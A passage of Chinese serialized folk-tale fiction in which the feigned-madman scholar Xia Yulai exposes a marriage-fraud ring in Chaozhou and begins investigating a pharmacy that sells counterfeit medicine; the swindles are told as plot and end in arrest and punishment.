知府大人见他心意已决,便不再强求,只是下令,今后潮州城的百姓有纠纷,若夏雨来出面调解,官府一律支持。 从此以后,夏雨来依旧住在东门街的小院里,依旧穿着他那身 “疯癫” 的行头,依旧用他独特的方式,替百姓们主持公道。阿翠的茶摊依旧摆在他的家门口,张老爹、孙老实等街坊依旧跟着他一起,为百姓们排忧解难。 东门街也因为夏雨来,成为了潮州城最太平、最热闹的街区。这里再也没有恶霸横行,再也没有欺诈勒索,百姓们安居乐业,互帮互助,真正实现了 “夜不闭户,路不拾遗” 的太平景象。 这一天,潮州城的百姓们自发组织起来,为夏雨来举行了一场盛大的庆典。开元寺前的空地上,摆满了百姓们送来的牌匾和锦旗,上面写着 “为民做主”“公道永存”“智勇双全” 等字样。说书人、戏班子也赶来助兴,整个潮州城都沉浸在欢乐的氛围中。 夏雨来穿着干净的青布长衫,站在百姓们中间,脸上露出了欣慰的笑容。他对着众人拱手道:“诸位乡亲,多谢大家的厚爱!其实,我并没有什么神通,我只是做了我该做的事情。真正的公道,不在我手里,而在大家的心里;真正的力量,也不在我身上,而在大家的团结一心。只要我们团结起来,坚守公道,就没有什么能欺负我们,就没有什么能破坏我们的家园安宁!” 百姓们闻言,都纷纷鼓掌叫好,掌声雷动,久久不息。阿翠走上前,笑着说道:“夏秀才,百姓们都为你编了一首新的歌谣,大家一起唱给你听!” 说完,阿翠清了清嗓子,率先唱了起来:“夏雨来,真英雄,疯疯癫癫护百姓。智斗恶徒显神通,公道自在人心间,潮州城内太平年,百姓安康乐无边!” 百姓们纷纷跟着合唱起来,歌声回荡在潮州城的上空,与开元寺的钟声交织在一起,充满了欢乐和感激。 阳光透过老榕树的枝叶,洒下斑驳的光影,照在百姓们幸福的脸上。夏雨来的名字,也永远烙印在了潮州城百姓的心中,成为了正义与智慧的象征,成为了市井之间最动人的传说。而他 “疯癫” 的模样,也成为了潮州城最温暖、最安心的符号,永远守护着这座城市的安宁与公道。 31. 巧断婚骗 一、婚骗迷局,少女绝境 潮州城的春日总是带着几分缠绵的暖意,东门街的老槐树抽了新芽,阿翠的茶摊前依旧人来人往,只是近日来,茶摊旁多了一对整日以泪洗面的母女,引得街坊们频频侧目。母亲赵氏年近四十,鬓角已染霜华,女儿李秀莲年方十七,生得眉清目秀,却面色苍白,眼神空洞,像是被抽走了魂魄一般。 这日清晨,赵氏终于鼓起勇气,拉着李秀莲跪在了夏雨来的小院门前,手里捧着一个破损的红布包,哭得肝肠寸断:“夏秀才,您可得救救我的女儿啊!我们娘俩被骗子坑惨了,如今走投无路,只能求您做主了!” 夏雨来连忙扶起母女二人,让她们坐在茶摊的长凳上,阿翠递上温热的茶水,赵氏喝了两口,才慢慢平复了情绪,哽咽着道出了事情的原委。 赵氏的丈夫早逝,她独自一人拉扯着李秀莲长大,日子过得十分清贫。三个月前,邻村的媒婆王婆找上门来,说要给李秀莲说一门好亲事。男方名叫张文远,自称是外地来潮州经商的布商,家底丰厚,为人忠厚,只因原配妻子早逝,想要再娶一位贤良淑德的女子为妻。 王婆把张文远夸得天花乱坠,还带来了他的 “生辰八字” 和一份 “家产清单”,上面写着 “良田十亩、铺面三间、纹银五百两”。赵氏母女从未见过如此排场,又被王婆的花言巧语蒙骗,便动了心。张文远随后几次上门,衣着光鲜,谈吐得体,还带来了绸缎、首饰等贵重聘礼,更是让赵氏母女深信不疑。 按照潮州婚俗,双方先定了亲,赵氏收下了张文远送来的一百两聘银,还按照王婆的要求,凑了五十两银子作为 “回礼”,说是 “礼尚往来,日后夫妻和睦”。可就在约定的婚期前三天,张文远突然不见了踪影,王婆也闭门不出。赵氏母女这才慌了神,四处打听,才得知所谓的 “张文远” 根本不是什么布商,而是一伙婚骗团伙的头目,专门假扮富商骗取女子的嫁妆和聘礼回银,之前已经在周边县镇骗了好几户人家。 “那五十两银子,是我把丈夫留下的唯一一间祖屋抵押出去换来的啊!” 赵氏捶胸顿足,“如今骗子跑了,祖屋也没了,我女儿的名声也毁了,这往后可怎么活啊!” 李秀莲低着头,泪水顺着脸颊滑落,哽咽道:“夏秀才,我…… 我不想活了,可我娘就我一个女儿,我要是走了,她可怎么办啊!” 周围的街坊们听了,都纷纷叹息不已。“这王婆真是丧尽天良,为了钱财坑害良家女子!”“张文远这伙骗子也太猖狂了,骗了钱还毁人名声!”“官府也不管管,让这些骗子逍遥法外!” 夏雨来看着眼前绝望的母女,心里既愤怒又同情。他知道,婚骗不仅骗走了百姓的钱财,更毁了女子的一生,这种恶行比抢劫、欺诈更加可恶。他安抚道:“赵大娘,莲姑娘,你们别着急,也别寻短见。既然我知道了这件事,就绝不会坐视不管!这婚骗团伙既然敢在潮州城作案,肯定不会轻易离开,我们一定能找到他们,替你们讨回公道!” 他仔细询问了张文远和王婆的外貌特征、言谈举止,以及他们之前接触过的人、去过的地方。赵氏回忆道:“那张文远说话带着点外地口音,左眉角有一颗黑痣,右手食指缺了一小截。王婆平日里爱去城西的聚福茶馆喝茶,听说她和那里的老板很熟。” 夏雨来心里有了底,他推测张文远团伙骗了赵家后,很可能还在潮州城潜伏,寻找下一个目标。王婆作为本地媒婆,必然是团伙的 “眼线”,负责物色猎物、传递信息。想要揭穿骗局,救出更多可能受害的女子,就必须先从王婆入手,顺藤摸瓜找到张文远的踪迹。 沉思片刻后,夏雨来嘴角勾起一抹熟悉的笑容:“赵大娘,莲姑娘,我有办法了。这伙骗子贪图钱财,又善于伪装,我便装成一个急于为妹妹寻亲的‘疯癫财主’,让阿翠假扮我妹妹,主动接近王婆,引张文远现身。到时候我们设下圈套,让他们自投罗网!” 阿翠闻言,立刻点头道:“夏秀才,我愿意帮忙!这些骗子太可恶了,一定要让他们付出代价!” 赵氏母女连忙道谢:“夏秀才,阿翠姑娘,真是多谢你们了!你们的大恩大德,我们娘俩永世不忘!” 二、伪装入局,初探虚实 当日午后,夏雨来便换上了一身 “行头”—— 身着一件华丽却略显凌乱的锦缎长袍,头戴一顶歪歪扭扭的方巾,脸上涂抹了些白粉,嘴角挂着一丝傻笑,腰间系着一串沉甸甸的铜钱和几个玉佩,活脱脱一个 “家产丰厚却心智不全” 的疯癫财主模样。他手里拿着一把折扇,时不时扇两下,嘴里念念有词:“找媳妇,找漂亮媳妇,我有银子,好多好多银子……” 阿翠则换上了一身素雅的布裙,梳着双丫髻,脸上略施薄粉,显得既文静又清秀,装作夏雨来的妹妹 “阿珠”,低着头,一副害羞怯懦的样子。张老爹和孙老实则扮成夏雨来的家仆,跟在身后,装作唯唯诺诺、不敢多言的模样。 一行人浩浩荡荡地来到城西的聚福茶馆。茶馆里人声鼎沸,说书的、喝茶的、聊天的络绎不绝。夏雨来一进门,就大声嚷嚷起来:“老板!上好的茶!上好的点心!我要给我妹妹找媳妇…… 不对,找女婿!我有银子,谁能给我妹妹找个好女婿,我赏他十两银子!” 他一边喊,一边从腰间掏出一锭银子,“啪” 地拍在桌子上,引得茶馆里的人都纷纷侧目。掌柜的见状,连忙跑过来,满脸堆笑:“这位爷,您别急,有话慢慢说!您妹妹要找女婿,包在小的身上!” 夏雨来傻笑一声:“我要找个有钱的女婿,像布商那样有钱的,有良田有铺面的,不然配不上我妹妹!” 他话音刚落,一个穿着灰布衣裳、三角眼的老妇人便凑了过来,正是王婆。王婆早就听说了夏雨来的名声,可如今见他疯疯癫癫的样子,又看他出手阔绰,心里顿时起了贪念。她心想,这疯子有银子,妹妹又长得清秀,正好可以介绍给张文远,再骗一笔钱财。 王婆满脸堆笑,凑到夏雨来身边:“这位爷,您可真是好福气,有这么漂亮的妹妹!巧了,我正好认识一位布商,家底丰厚,为人忠厚,和您妹妹正是天造地设的一对!” 夏雨来故作惊喜,一把抓住王婆的手:“真的吗?布商?有良田有铺面吗?快带我见见他!我给你十两银子!” 王婆心里暗喜,连忙说道:“这位爷,别急啊!婚姻大事,得慢慢来。那布商姓张,名叫张文远,近日正好有空,我明日就带他来见您和您妹妹,您看如何?” 夏雨来傻笑点头:“好!好!明日一定要来!我给你准备银子!” 王婆又打量了阿翠一番,见她确实容貌秀丽,又显得怯懦老实,心里更加笃定这是一笔 “好买卖”。她说道:“这位姑娘,你放心,张老板人好,家底又厚,你嫁过去就是享福!” 阿翠低着头,故作羞涩地说道:“全凭哥哥和王婆做主。” 王婆满意地点点头,又和夏雨来闲聊了几句,打探了他家的 “家底”。夏雨来故意胡言乱语,一会儿说家里有几十亩良田,一会儿说有十几间铺面,偶尔又冒出几句疯话,让王婆既相信他有钱,又觉得他很好糊弄。 临走时,夏雨来又掏出一锭银子递给王婆:“这是定金,明日带张老板来,我再给你十两!” 王婆接过银子,笑得合不拢嘴:“多谢爷!您放心,明日我一定带张老板来见您!” 看着夏雨来一行人离开的背影,王婆连忙跑回后院,偷偷写了一张纸条,让人送给张文远,告知他有 “大鱼” 上钩。 回到小院后,阿翠连忙说道:“夏秀才,王婆果然上钩了!看她的样子,肯定会带张文远来见我们!” 夏雨来点点头:“这王婆贪财又狡猾,我们不能掉以轻心。明日见面时,我们继续演戏,让她和张文远放松警惕。张老爹,你明天悄悄去县衙,把这件事告诉知府大人,让他派几个差役埋伏在茶馆周围,等我们信号,一举拿下他们!” 张老爹连忙应道:“好!我明日一早就去县衙!” 孙老实说道:“夏秀才,那张文远是个骗子,肯定很狡猾,我们要不要多带些街坊过去,以防万一?” 夏雨来笑道:“不用!有官府的差役就够了。我们明日继续装疯卖傻,让他们以为我们很好骗,等他们露出破绽,我们再动手!” 三、智设圈套,引蛇出洞 次日上午,夏雨来一行人再次来到聚福茶馆。这次夏雨来打扮得更加 “疯癫”,锦缎长袍上故意沾了些泥土,头发也乱糟糟的,手里拿着一个拨浪鼓,一边摇一边唱:“找女婿,找有钱女婿,银子多,福气多……” 阿翠依旧是那副害羞怯懦的模样,跟在夏雨来身后,时不时低着头抹眼泪,装作既期待又害怕的样子。 没过多久,王婆便带着一个身着青布长衫、头戴瓜皮帽的男子走了进来。那男子约莫三十岁左右,左眉角果然有一颗黑痣,右手食指缺了一小截,正是张文远。他装作一副温文尔雅的样子,眼神却时不时瞟向阿翠,带着几分贪婪和算计。 “张老板,这位就是我跟你说的夏爷,这位是他妹妹阿珠姑娘!” 王婆笑着介绍道。 张文远连忙拱手道:“夏爷,阿珠姑娘,久仰大名!” 夏雨来故作糊涂,上下打量着张文远:“你就是张老板?布商?有良田有铺面吗?” 张文远笑着说道:“夏爷说笑了,在下确实是做布商的,家里有几亩薄田,两间铺面,勉强能糊口。” 王婆连忙说道:“夏爷,张老板可是谦虚了!他的布铺在外地生意好得很,家底丰厚着呢!” 夏雨来傻笑一声:“好!好!有银子就好!我妹妹嫁给你,你要给我多少聘礼?我要一百两银子,还有十匹绸缎!” 张文远连忙说道:“夏爷放心,聘礼自然少不了!一百两银子,十匹绸缎,另外我再给阿珠姑娘准备一套金首饰,如何?” 夏雨来拍手叫好:“好!好!我要现在就看银子!看金首饰!” 张文远心里暗喜,觉得这夏雨来果然是个疯子,很好糊弄。他从怀里掏出一锭银子递给夏雨来:“夏爷,这是定金,等我们定了亲,我再把剩下的聘礼送来!” 夏雨来接过银子,放在嘴里咬了咬,又扔在地上踩了踩:“是真银子!好!好!” 王婆连忙说道:“夏爷,婚姻大事,得先换庚帖,定个日子。不如我们今日就换庚帖,三日后举行婚礼,如何?” 夏雨来连忙点头:“好!好!越快越好!我要喝喜酒,吃大肉!” 阿翠突然抬起头,泪眼婆娑地说道:“哥哥,我…… 我想看看张老板的家产清单,还有铺面的地契,我怕…… 我怕被骗……” 张文远和王婆对视一眼,心里咯噔一下。王婆连忙说道:“阿珠姑娘,你放心!张老板是个忠厚人,怎么会骗你?他的家产清单和地契都在外地的铺子里,等你们成了亲,他自然会带你去看!” 阿翠低下头,哽咽道:“可我听说,之前有姑娘被假布商骗了,不仅骗了钱财,还毁了名声……” 张文远心里一慌,连忙说道:“阿珠姑娘,你别听别人胡说!那些都是谣言!我怎么会是假布商?我在潮州城也认识不少人,你要是不信,可以去打听打听!” 夏雨来突然发起疯来,一把抓住张文远的衣领:“你是不是骗子?你要是骗子,我就打你!我有很多银子,我不怕你!” 张文远被吓得连忙后退,王婆也连忙上前拉住夏雨来:“夏爷,您别生气!张老板不是骗子,他是真心想娶阿珠姑娘的!” 夏雨来故作愤怒地说道:“我要证据!我要你拿出证据证明你不是骗子!不然我就不把妹妹嫁给你!” 张文远心里清楚,要是拿不出证据,这 “生意” 就黄了。他犹豫了一下,说道:“夏爷,我这里有布商的印章和账本,你要是不信,我可以给你看!” 说完,他从怀里掏出一个印章和一本账本,递给夏雨来。夏雨来接过印章和账本,胡乱翻了翻,又扔在地上:“我看不懂!我要别人证明!” 就在这时,张老爹突然带着几个街坊走进茶馆,说道:“夏爷,我认识一位布商,让他来看看张老板的印章和账本,就知道是不是真的了!” 张文远和王婆见状,心里顿时慌了神。他们没想到夏雨来还会找 “懂行” 的人来鉴定。 张老爹带来的街坊正是潮州城有名的布商李老板。李老板捡起地上的印章和账本,仔细看了看,摇了摇头说道:“夏爷,这印章是假的!真正的布商印章都有特殊的印记,这个印章做工粗糙,一看就是伪造的!还有这本账本,上面的账目混乱,字迹也潦草,根本不是正规布商的账本!” 张文远脸色一变,连忙说道:“你胡说!这印章和账本都是真的!你是故意污蔑我!” 李老板冷笑一声:“我做了二十年布商,什么样的印章和账本没见过?你这假印章和假账本,根本骗不了我!” 周围的茶客们见状,都纷纷围了上来,七嘴八舌地议论起来。“原来这张老板是个假布商!”“怪不得他不敢拿地契出来!”“这是想骗婚啊!太可恶了!” 王婆见状,想要趁机溜走,却被孙老实一把拦住:“王婆,你想去哪里?你和这个假布商一起骗钱,别想跑!” 王婆挣扎着说道:“我没有骗钱!我只是个媒婆,我不知道他是假的!” 夏雨来突然停止了疯癫,眼神变得清明而锐利:“王婆,你还想狡辩?你之前帮张文远骗了李秀莲姑娘,骗走了她家里五十两银子和一间祖屋,你以为我们不知道吗?” 张文远和王婆闻言,脸色顿时变得惨白。他们没想到夏雨来竟然知道他们之前的骗局! 张文远知道事情败露,想要掏出随身携带的匕首反抗,却被早已埋伏在周围的差役一把按住。“不许动!你被捕了!” 原来,张老爹昨日去县衙禀报后,知府大人立刻派了几个精明强干的差役,乔装成茶客,埋伏在茶馆周围。刚才李老板和张文远争执时,差役们就已经做好了准备,一接到信号,就立刻冲了进来。 “你们凭什么抓我?我没有骗钱!” 张文远挣扎着喊道。 夏雨来冷笑一声:“你有没有骗钱,问问王婆就知道了!还有,李秀莲姑娘可以作证,你骗了她的钱财和祖屋!” 此时,赵氏和李秀莲也赶到了茶馆。看到张文远和王婆被抓住,赵氏激动得热泪盈眶:“张文远!王婆!你们这两个骗子,终于被抓住了!” 李秀莲指着张文远,哭着说道 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得知这一情况后,知府大人勃然大怒:“大胆狂徒!竟敢在本府管辖之地如此作恶,骗财骗色,草菅人命!本府定要严惩你们!” 根据《大明律》,婚骗属于 “诈骗财物”,若情节严重,可判处杖责、流放,甚至绞刑。张文远团伙作案多起,数额巨大,还间接导致一人死亡,情节极其严重。 最终,知府大人判决:张文远杖责五十,流放三千里,终身不得返回潮州;王婆杖责三十,罚银五十两,赔偿给受害人家属;其他团伙成员也分别受到了相应的惩罚。 张文远骗取的钱财被全部追回,其中五十两银子和祖屋的地契归还给了赵氏母女。其他受害人家属也纷纷赶来,领回了被骗取的财物。 得知判决结果后,赵氏母女连忙来到夏雨来的小院,跪在地上给夏雨来磕头:“夏秀才,多谢您!您不仅帮我们找回了钱财和祖屋,还为我们讨回了公道!您就是我们娘俩的再生父母啊!” 夏雨来连忙扶起她们:“赵大娘,莲姑娘,不用谢!惩治恶人,替百姓做主,是我应该做的!” 李秀莲哽咽道:“夏秀才,若不是您,我这辈子就毁了。您的大恩大德,我永世不忘!” 夏雨来安慰道:“莲姑娘,这件事不是你的错,你不要有心理负担。以后要擦亮眼睛,不要再轻易相信陌生人的话。” 周围的街坊们也纷纷赶来祝贺:“夏秀才,恭喜你又为民除了一害!”“这下潮州城又太平了!”“那些骗子再也不敢来潮州作恶了!” 阿翠笑着说道:“夏秀才,这次多亏了你装疯卖傻,才让张文远和王婆上钩!你真是太聪明了!” 夏雨来笑道:“这都是大家一起努力的结果!没有张老爹去县衙报信,没有李老板帮忙鉴定印章和账本,没有官府的差役,我们也抓不到这伙骗子!” 张老爹说道:“夏秀才,你太谦虚了!要不是你想出这个好办法,我们也揭穿不了这个骗局!” 孙老实说道:“夏秀才,现在张文远团伙被抓了,那些受害的女子也能沉冤得雪了!这都是你的功劳!” 夏雨来摆了摆手:“我只是做了我该做的事情。真正的功劳,在于大家团结一心,在于知府大人公正执法。只要我们大家一起努力,坚守公道,就没有什么骗子能得逞,就没有什么恶人能逍遥法外!” 五、声名远播,公道昭彰 夏雨来巧断婚骗案的故事,很快又传遍了潮州城的大街小巷。这次不仅是说书人、戏班子传唱,就连官府也张贴了告示,赞扬夏雨来的智勇双全,号召百姓们向他学习,提高警惕,谨防骗局。 百姓们更是对夏雨来赞不绝口,称他为 “智多星”“百姓的保护神”。有百姓特意为他制作了一块牌匾,上面写着 “慧眼识奸,为民除害”,敲锣打鼓地送到了他的小院。 之前被张文远团伙欺骗的其他受害人家属,也纷纷来到夏雨来的小院,送来锦旗和谢礼。有一位老大娘,她的女儿因为被欺骗而投河自尽,她抱着夏雨来的腿,哭得泣不成声:“夏秀才,多谢您为我女儿讨回了公道!您真是个大好人啊!” 夏雨来扶起老大娘,安慰道:“大娘,您别难过。骗子已经受到了应有的惩罚,您女儿在天之灵也能安息了。以后您要好好照顾自己,不要再伤心了。” 老大娘点点头,又给夏雨来磕了几个头,才依依不舍地离开。 潮州城的知府大人也再次召见了夏雨来,对他说道:“夏秀才,你屡次替百姓排忧解难,惩治恶人,真是本府的得力助手!本府再次提议,任命你为县衙的幕僚,协助本府处理民间纠纷,你意下如何?” 夏雨来再次婉言拒绝:“大人,多谢您的厚爱!我还是那句话,我只想做一个普通的秀才,游走在市井之间,替百姓们做点实事。官场的规矩太多,反而会束缚我的手脚。” 知府大人见他心意已决,便不再强求,只是说道:“既然如此,本府也不勉强你。以后潮州城的百姓有任何纠纷,你都可以随时来县衙找本府,本府一定全力支持你!” 夏雨来拱手道:“多谢大人!” 从此以后,夏雨来依旧住在东门街的小院里,依旧穿着他那身 “疯癫” 的行头,依旧用他独特的方式,替百姓们主持公道。阿翠的茶摊依旧摆在他的家门口,张老爹、孙老实等街坊依旧跟着他一起,为百姓们排忧解难。 东门街也因为夏雨来,成为了潮州城最太平、最热闹的街区。这里再也没有恶霸横行,再也没有欺诈勒索,再也没有婚骗、田骗等骗局,百姓们安居乐业,互帮互助,真正实现了 “夜不闭户,路不拾遗” 的太平景象。 这一天,潮州城的百姓们再次自发组织起来,为夏雨来举行了一场盛大的庆典。开元寺前的空地上,摆满了百姓们送来的牌匾和锦旗,上面写着 “智勇双全”“为民做主”“公道昭彰” 等字样。说书人、戏班子也赶来助兴,整个潮州城都沉浸在欢乐的氛围中。 夏雨来穿着干净的青布长衫,站在百姓们中间,脸上露出了欣慰的笑容。他对着众人拱手道:“诸位乡亲,多谢大家的厚爱!其实,我并没有什么神通,我只是做了我该做的事情。真正的公道,不在我手里,而在大家的心里;真正的力量,也不在我身上,而在大家的团结一心。只要我们团结起来,坚守公道,提高警惕,就没有什么能欺负我们,就没有什么能破坏我们的家园安宁!” 百姓们闻言,都纷纷鼓掌叫好,掌声雷动,久久不息。阿翠走上前,笑着说道:“夏秀才,百姓们都为你编了一首新的歌谣,大家一起唱给你听!” 说完,阿翠清了清嗓子,率先唱了起来:“夏雨来,真英雄,疯疯癫癫辨奸凶。婚骗阴谋当场破,百姓安危记心中,潮州城内太平世,人人称颂好秀才!” 百姓们纷纷跟着合唱起来,歌声回荡在潮州城的上空,与开元寺的钟声交织在一起,充满了欢乐和感激。 阳光透过老榕树的枝叶,洒下斑驳的光影,照在百姓们幸福的脸上。夏雨来的名字,也永远烙印在了潮州城百姓的心中,成为了正义与智慧的象征,成为了市井之间最动人的传说。而他 “疯癫” 的模样,也成为了潮州城最温暖、最安心的符号,永远守护着这座城市的安宁与公道。 32. 药铺黑心 一、假药夺命,市井哀鸣 潮州城的暑气来得烈,刚过端午,日头就像烧红的烙铁,烤得青石板路都冒着热气。东门街的老槐树叶子蔫巴巴地耷拉着,阿翠的茶摊前却比往常更热闹 —— 不是因为凉茶解暑,而是茶摊旁围了一圈满脸焦灼的街坊,对着地上蜷缩的老者唉声叹气。 “这李老爹怕是熬不过今日了!” 卖豆腐的王二婶抹着眼泪,“前儿个还好好的,就受了点风寒,去‘仁心堂’抓了两副药,越吃越重,如今连气都喘不上了!” 人群中央,李老爹躺在一块草席上,脸色青黑,嘴唇干裂,胸口剧烈起伏着,每一次呼吸都带着嘶哑的喘息,像是破风箱在拉扯。他儿子李石柱跪在旁边,双手紧紧攥着一个药包,指节发白,眼泪砸在青石板上,溅起细小的水花:“这什么狗屁仁心堂!说是百年老店,卖的竟是要人命的假药!我爹要是有个三长两短,我跟他们拼命!” 周围的街坊们议论纷纷,七嘴八舌地倒着苦水。 “可不是嘛!我家小儿上月腹泻,去仁心堂抓了药,吃了三天反倒拉得更厉害,后来还是找游方郎中拿了两文钱的草药才好!” “我娘的咳嗽也是,仁心堂的药贵得要死,吃了半个月没见好转,反倒添了胸闷的毛病!” “之前听人说仁心堂的药材是‘七分假三分真’,我还不信,如今看来,怕是全假!” 阿翠端着凉茶递过去,轻声安慰:“石柱哥,你先别急,喝点水润润嗓子。夏秀才刚出去买笔墨,估计也快回来了,他肯定有办法!” 话音刚落,就见夏雨来摇着折扇,哼着小调从巷口走来。他依旧是一身半旧的青布长衫,只是额头上沁着薄汗,看到茶摊前围满了人,还有人躺在地上,连忙快步走过来:“这是怎么了?好好的茶摊前,怎么围得跟戏台子似的?” 李石柱一见夏雨来,像是抓住了救命稻草,“噗通” 一声跪在他面前,哽咽道:“夏秀才!您可得为我们做主啊!仁心堂卖假药,把我爹害成这样,再不管管,还不知道要坑害多少人!” 夏雨来连忙扶起他,蹲下身仔细查看李老爹的状况,又拿起旁边的药包打开,一股刺鼻的霉味混杂着泥沙的土腥味扑面而来。他捻起一点药材放在鼻尖闻了闻,又用手指搓了搓,眉头瞬间拧成了疙瘩。 “这哪是治风寒的药材?” 夏雨来沉声道,“麻黄是用晒干的狗尾巴草冒充的,桂枝是普通树枝削的,就连甘草都掺了大半的泥沙,还有这陈皮,怕是放了十年八年的霉货,吃了不害人就怪了!” 周围的街坊们闻言,都倒吸一口凉气。“我的天!这仁心堂也太黑心了!”“连救命的药材都敢造假,这是要断子绝孙啊!”“官府怎么不管管?任由他们这么坑害百姓!” 夏雨来站起身,眼神锐利地扫过众人:“大家先安静!李老爹现在情况危急,先找个郎中来看病,救人要紧!药铺的事,我定会查个水落石出,替大家讨回公道!” 他转头对阿翠说:“阿翠,你快去城西找张郎中,就说我请他来急诊,诊金我来付!” 又对李石柱说:“石柱,你先把你爹抬到我小院里,那里阴凉,先让他缓口气!” 众人七手八脚地把李老爹抬进小院,阿翠也很快带着张郎中赶来。张郎中诊脉后,脸色凝重地说:“夏秀才,李老爹这是中了假药的毒,加上风寒入体,已经伤及肺腑,我尽力救治,但能不能挺过来,还要看他的造化。” 夏雨来点点头:“张郎中,麻烦你尽力医治,需要什么药材尽管说,我去设法寻来!” 张郎中开了药方,阿翠和孙老实连忙去附近的诚信药铺抓药。夏雨来则留在小院里,安抚着李石柱,同时仔细询问仁心堂的情况。 据李石柱所说,仁心堂是潮州城最大的药铺,老板姓胡,名叫胡仁海,自称是 “御医后人”,仗着有几分人脉,在潮州城横行霸道。药铺的药材比其他药铺贵三成,但胡仁海总说 “一分钱一分货”,他的药材都是 “上等珍品”,很多百姓信以为真,纷纷去他那里抓药。可最近半年来,越来越多的人反映吃了仁心堂的药没有效果,甚至病情加重,但胡仁海总能找各种理由推脱,要么说病人 “体质虚寒”,要么说 “服药不当”,甚至还威胁过上门理论的百姓。 “我昨天去找胡仁海理论,他不仅不认账,还让伙计把我赶了出来,说我是‘想讹诈钱财’!” 李石柱气得浑身发抖,“他还说,潮州城的药铺他说了算,就算告到官府,他也不怕!” 夏雨来听着,心里怒火中烧。药是救命的东西,这胡仁海为了钱财,竟然不惜用假药坑害百姓,简直丧尽天良!他知道,胡仁海既然敢这么猖狂,肯定有恃无恐,想要揭穿他的真面目,必须拿到确凿的证据。 “石柱,你先别急,” 夏雨来安抚道,“胡仁海狡猾得很,我们不能硬碰硬。想要让他伏法,必须找到他卖假药的证据,让他无从抵赖!” 正在这时,张老爹从外面回来,听说了仁心堂的事,怒气冲冲地说:“夏秀才,这胡仁海我早有耳闻!听说他暗地里勾结官府的书吏,每次检查都能提前得到消息,把假药藏起来,所以一直没被揭发!我们想要取证,怕是不容易!” 夏雨来沉思片刻,嘴角勾起一抹狡黠的笑容:“越是不容易,才越要想办法!他不是喜欢装腔作势,说自己的药材是‘上等珍品’吗?那我就给他演一出‘疯癫财主求医’的戏,让他主动露出马脚!” 张老爹眼睛一亮:“夏秀才,您是想故技重施,装疯卖傻去套他的话?” “正是!” 夏雨来笑道,“胡仁海贪财如命,又自视甚高,肯定不会把一个‘疯癫财主’放在眼里。我就装作身患怪病,不惜重金求医,让他拿出‘最好的药材’,到时候我们就能拿到他卖假药的证据!” 阿翠端着煎好的药走进来,闻言说道:“夏秀才,这胡仁海可比王婆狡猾多了,而且他身边有不少伙计,还有打手,您这么去,会不会有危险?” 夏雨来摆摆手:“放心!我自有分寸!张老爹,你明天悄悄去县衙,把这件事告诉知府大人,让他派几个可靠的差役暗中跟着我,一旦拿到证据,就立刻动手抓人!孙老实,你跟我一起去,装作我的家仆,帮我打掩护!” 孙老实连忙点头:“好!夏秀才,您说怎么做,我就怎么做!” 张老爹担忧地说:“夏秀才,那胡仁海见多识广,您装疯卖傻,可别被他看穿了!” 夏雨来哈哈一笑:“放心!我这‘疯癫’的功夫,可不是白练的!保管让他看不出破绽!” 二、疯癫求医,初探虎穴 次日清晨,夏雨来换上了一身华丽却俗气的锦缎长袍,上面绣着大朵的牡丹,领口和袖口却故意扯得歪歪扭扭,头发用一根金簪胡乱束着,脸上抹了些胭脂水粉,弄得不男不女,手里还拿着一个拨浪鼓,一边摇一边唱:“求医病,求好药,银子多,病就跑……” 孙老实则扮成一个唯唯诺诺的家仆,穿着粗布衣裳,跟在夏雨来身后,手里提着一个沉甸甸的钱袋,时不时露出里面的银子,引得路人频频侧目。 两人浩浩荡荡地来到仁心堂。药铺果然气派,朱红大门,金字招牌,门口挂着两块牌匾,一块写着 “仁心济世”,一块写着 “御医传人”。药铺里人来人往,伙计们穿着统一的长衫,忙前忙后,看起来生意十分兴隆。 夏雨来一进门,就大声嚷嚷起来,拨浪鼓摇得 “咚咚” 响:“胡老板!胡神医!快出来!我有钱,我要最好的药,最贵的药!” 药铺里的顾客们都被他吸引了注意力,纷纷侧目。一个伙计连忙迎上来,上下打量着夏雨来,见他衣着华丽,虽然疯疯癫癫,但出手阔绰,连忙满脸堆笑地说:“这位爷,您别急!我们老板正在后堂,小的这就去通报!” 没过多久,一个身着绫罗绸缎、头戴瓜皮帽的中年男子走了出来。此人约莫四十岁左右,身材肥胖,脸上油光满面,一双小眼睛滴溜溜转,透着几分精明和贪婪,正是胡仁海。他身后跟着两个身材高大的打手,满脸凶相。 “哪位贵客找我?” 胡仁海捋着山羊胡,故作斯文地说道。 夏雨来一把抓住他的手,傻笑兮兮地说:“你就是胡神医?我听说你是御医后人,能治百病!我有钱,我要最好的药,治我的怪病!” 胡仁海被他抓得一愣,随即打量起夏雨来,见他衣着华丽,眼神涣散,说话颠三倒四,心里顿时有了底 —— 这是个有钱的疯子。他心里暗喜,脸上却装作一本正经的样子:“这位爷,您别急!治病得先诊脉,知道您得了什么病,才能对症下药!” “诊脉?好!好!” 夏雨来连忙伸出手,“我就是浑身痒,痒得睡不着觉,吃了好多药都没用!胡神医,你一定要治好我,我给你一百两银子!” 胡仁海心里乐开了花,连忙假装给夏雨来诊脉,手指搭在他的手腕上,眼睛却瞟着孙老实手里的钱袋,心里盘算着怎么从这个疯子身上榨取更多的钱财。 “这位爷,您这病是‘邪风入体’,需要用名贵药材调理,” 胡仁海故作深沉地说,“我这里有上好的人参、鹿茸、灵芝,都是百年珍品,只要您坚持服用,不出一个月,保证您药到病除!” 夏雨来拍手叫好:“好!好!只要能治好我的病,多少钱我都给!我要最好的人参,最大的鹿茸,最贵的灵芝!” 胡仁海心里暗笑,这疯子果然好骗。他转头对一个伙计说:“去后堂把那支‘千年人参’和‘百年鹿茸’拿来,给这位爷看看!” 伙计连忙应声而去,没过多久,拿着一个锦盒走了出来。胡仁海打开锦盒,里面放着一支看起来粗壮饱满的人参,还有一块鹿茸。他得意地说:“这位爷,您看!这支人参是长白山的千年老参,光是进价就要五十两银子,这支鹿茸是梅花鹿的百年鹿茸,进价三十两,我给您配成药,再加上其他名贵药材,一共一百两银子,怎么样?” 夏雨来凑过去看了看,故作好奇地伸手去摸,心里却暗自冷笑。他小时候跟着学医的叔父学过辨识药材,一眼就看出这所谓的 “千年人参” 是用普通的园参经过蒸煮、染色制成的,表面看起来饱满,实际上质地疏松,毫无药效;而那 “百年鹿茸” 则是用驴皮伪造的,根本不是真正的鹿茸。 “这人参怎么闻起来有点怪?” 夏雨来故意皱着眉头,“我之前在别处见过人参,不是这个味道!” 胡仁海心里咯噔一下,连忙说道:“这位爷,您有所不知!千年人参的味道就是这样,跟普通的人参不一样!这可是稀世珍品,一般人根本见不到!” 孙老实连忙配合着说道:“爷,胡老板是御医后人,肯定不会骗我们!只要能治好您的病,一百两银子算什么!” 夏雨来故作恍然大悟:“对!对!胡神医不会骗我!我买了!我现在就给你银子!” 